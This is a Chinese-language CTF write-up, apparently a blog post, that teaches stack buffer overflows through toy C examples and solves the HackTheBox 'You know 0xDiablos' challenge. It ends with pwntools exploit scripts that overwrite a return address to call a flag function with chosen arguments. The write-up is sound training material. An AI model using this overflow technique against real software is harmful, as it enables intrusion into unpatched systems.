pwn入门&&HTB_You know 0xDiablos例题讲解

我希望能将我的疑惑记录,但是堆栈函数调用这些这些,几句话我很难讲清楚,多看教程,好教程很多
至于解题基础,知道栈这种数据结构是一个线性表之后就够了,这题看不懂你来砍我

前言

一不小心遇到了一道pwn题
在这里插入图片描述

没学过堆栈,不知道溢出,没经过基础知识的锤炼,没关系,慢慢看,不一定非要全学完才能做题

我的学习路线:

操作系统:https://www.bilibili.com/video/BV1iW411Y73K/

汇编语言:https://www.bilibili.com/video/BV1pi4y1P76P

数据结构和算法:https://www.bilibili.com/video/BV1nJ411V7bd/

这种方法真的很难坚持,我断断续续看了一个月只看了一部分,买了对应的教材,终于不再是一头雾水了

这题干什么

下载完了是个二进制的可执行文件,运行一下,要我输入,我输入什么它返回什么,输入长一点就报错,pwn题一大类就是通过改变保存在数据结构中的一些数据啥的,达到某些目的

在这里插入图片描述

在这里插入图片描述

工具安装就略过了,就是常说的 pwngdb以及ida

举个例子–数组

在做题之前举个例子,也可以直接看最后解题过程,看不懂再回来看例子

数组越界

这段程序很简单,判断你输入的登录密码是否正确,正确密码是secret

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    char sActualPass[8] = "secret";
    char sInputPass[8] = "";

    while (1){
        printf("Enter your password:");
        scanf("%s",sInputPass);
        if (strcmp(sInputPass,sActualPass)==0){
            printf("Login sucessfully.\n");
            break;
        }
        else
            printf("Wrong password.\n");
    }
    printf("Start using the system...\n");
    system("pause");
}

编译后,第一次输入 12345678crack,第二次输入 crack就能登录成功

在这里插入图片描述

原理

本来我们输入的密码存储在一个长度为 8 的数组内,但是我们输入了 12345678crack,那多余的字符就要存储到下一个位置,而这个位置正好存储的是正确密码secret,我们改写成了crack,所以比较时,输入crack就登录成功了

再举个例子–call指令

代码

定义一个 main 函数,调用了一个 fun_1(),而 fun_1()定义了一个数组,长度为 2,没什么特别的

#include<stdio.h>
void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
}
int main(){
    fun_1();
    printf("ok");
    return 0;
}

如果在 fun_1() 中定义一个下标越界的元素,程序是不能正常执行的

void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
    a[10000000]=3;
}

在这里插入图片描述

重点来了,修改数组元素 a[4] 的值为某个地址,可以正常执行了 printf() 语句

void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
    a[4]=0x40114b;
}

在这里插入图片描述

原理

原理其实很简单,在 main 函数调用 fun_1() 之前,会执行 call 指令,该指令会将下一句指令的位置入栈,再跳转调用函数

而在本例中就可以使用 a[4] 来访问并修改,CPU自然就会跳转到对应位置继续执行了

0x40114bprintf()语句的起始地址,所以会正常输出ok

(ps:这里使用的演示工具是 https://godbolt.org/,谁用谁知道)

在这里插入图片描述

为什么是 a[4] 呢?

因为数据存在栈中,而栈这种数据结构是由高地址向低地址增长的,且入栈时也可以发现先入栈的是 a[1],然后才是 a[0],在执行call指令时,首先会将下一条指令的指针入栈,而我们使用的是x86-64位的指令集,这种情况下,一个指针占位是八个字节,所以是a[4]而不是a[3]

在这里插入图片描述

总结

溢出漏洞的原理就是改写了内存中某些数据,而这个数据会被别的程序或CPU调用,就会出现意想不到的后果,比如上两个例子中,改写正确密码绕过登录验证,改写CPU返回地址直接跳转到恶意函数…

补充知识

call、ret (retn)、retf 指令

call指令先将下一指令的地址入栈,然后进行跳转,去执行被调用函数

# 段间转移
push CS:IP
jmp far ptr 标号
# 依据位移进行近端转移
push IP
jmp near ptr 标号

ret(retn):近转移

pop IP

retf:远转移

pop IP
pop CS

call指令是调用函数时使用,retretf是函数结束返回时使用,至于近转移和远转移也很好理解,近处都是一个段,自然不用改变

解题

使用ida打开文件,F5查看反汇编代码,左边的窗口是程序用到的子函数

在这里插入图片描述

分析 main 函数

关于初始化的一些堆栈操作不予分析,用到再说

setvbuf(stdout,0,2,0);
// 此函数是设置缓冲区的类型和大小的 因为cpu读写io需要较长时间 所以就有了缓冲区 把数据写入缓冲区 然后攒到一起再进行磁盘操作 有输入缓冲区和输出缓冲区
v4=getegid();
// 用来取得执行目前进程有效组识别码 有效的组识别码用来决定进程执行时组的权限
setresgid(v4,v4,v4);
// 设置用户组ID,有效用户组ID和保存用户组ID
puts("You konw who are 0xDiablos:");
// 在屏幕输出字符
最后调用vuln()函数

在这里插入图片描述

暂时没看到什么值得注意的

分析 vuln 函数

在这里插入图片描述

  1. 该函数定义了一个长度为 180 (180个元素)的字符数组
  2. gets函数用于从标准输入设备读取字符,但是该函数不会限制读取字符的长度,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出
  3. 将读取的字符在屏幕输出

看来问题可能出现在gets这里了,但是我们要怎么利用呢?

分析 flag 函数

做题肯定要找 flag 的,在左边找到 flag()函数

在这里插入图片描述

  1. 首先定义了一个字符指针变量,在C语言中,如果定义一个字符串 s="abcde";实际上是将首字母 a的地址赋值给 s,到时通过首地址+偏移量即可找到该字符串,所以定义一个 *result和定义一个数组是一样的
  2. fopen打开 flag.txt文件
  3. 如果该文件存在,则打印一行字符
  4. fgets函数是限制长度的gets函数,第一个参数是要存储到的内存空间的首地址,第二个参数是读取的字符串的长度,第三个参数代表从何种流中读取,这句代码的意思就是从flag.txt流中读取64位存储到 s 指向的地址,最终保存为result
  5. 判断a1a2的值,如果等于设置的值,则打印result flag 文件内容

那么如何控制a1a2呢?可以看到是该函数初始传递的参数,那么怎么调用flag()函数呢?

在函数调用时,会将参数的值先入栈,且是从右到左的顺序入栈,然后才执行call指令,所以如果想改变参数也很容易找到位置

在这里插入图片描述

利用思路讲解

返回地址覆盖

到这里利用思路应该比较明确了,通过gets函数的溢出,控制vuln函数的call指令的返回地址,跳转到flag函数执行,并传递a1a2两个参数,最终使程序打印flag文件的内容

那么具体如何利用我们再回过头分析一下vuln的汇编代码,一切要从main函数中的call vuln说起

在这里插入图片描述

ps:在ida中想要查看汇编代码的地址需要配置:options-->general

在这里插入图片描述

在执行call vuln 之前,此时栈中情况用下图表示,之前的栈操作省略(入栈的值只做演示,不一定就是真实值)

在这里插入图片描述

执行call 指令,会将IP寄存器的值入栈,也就是mov eax,0的地址

在这里插入图片描述

如何判断是IP入栈还是CS:IP入栈呢?(纯属猜测,如有不对,请指正)

在这里插入图片描述

到了vuln函数,第一句push ebp,将上一个函数的栈基址入栈

在这里插入图片描述

在这里插入图片描述

接下来mov xxsub xx语句都是寄存器操作,不影响栈中数据,push ebxebx寄存器的值入栈

在这里插入图片描述

在这里插入图片描述

接下来执行call语句,先说addsublea是操作寄存器的值,略过

在这里插入图片描述

这个call函数指令也是是寄存器操作,虽也有入栈出栈操作,但是执行完毕后,栈会恢复原样,所以也没有影响

在这里插入图片描述

接下来是重点了

在这里插入图片描述

首先入栈eax的值,是s这个变量,在代码中我们定义了一个长度 180 的数组 s

在这里插入图片描述

那么将它入栈,占 180 个字节,而前面几个寄存器都是4个字节 (32位程序)

在这里插入图片描述

然后执行call _gets继续入栈 IP指针地址

在这里插入图片描述

所以我们可以控制gets函数的参数,让其超过 180 字节,向上覆盖掉入栈的 IP 指针,也就是 188字节的填充值 +flag函数的地址 0x080491E2

在这里插入图片描述

修改参数

那么如何修改 a1a2的参数呢?我们知道函数的参数是先于call指令入栈的,我们直接继续加上参数值CPU就会找到

可以注意到在flag函数地址与参数之间还有一个位置,这是flag函数的返回地址,我们需要符合这个格式,函数才能正确执行,至于执行完返回到哪里我们就不在意了,随便设置个 0 就可以

在这里插入图片描述

a1a2的值我们可以在cmp指令中看到,分别是

在这里插入图片描述

if语句中,是按照从左到右的顺序比较的,所以a1应该等于 0xDEADBEEFa2等于0xC0DED00D

在这里插入图片描述

payload 编写

使用 python工具包 pwntools编写

# python2
from pwn import *
# 连接远程机器地址
io = remote('ip',port)
# 偏移量 188 字节
offset = 188
# flag 函数地址
flag_addr = 0x80491e2
# 188字节的A+flag函数地址+flag函数返回地址+参数1+参数2
payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()

在这里插入图片描述

使用 python3编写 exploit.txt ,只需要将占位符转换为 byte格式

from pwn import *

io = remote('144.126.228.155',32408)
offset = 188
flag_addr = 0x80491e2
payload = b'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()

得到同样的结果

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值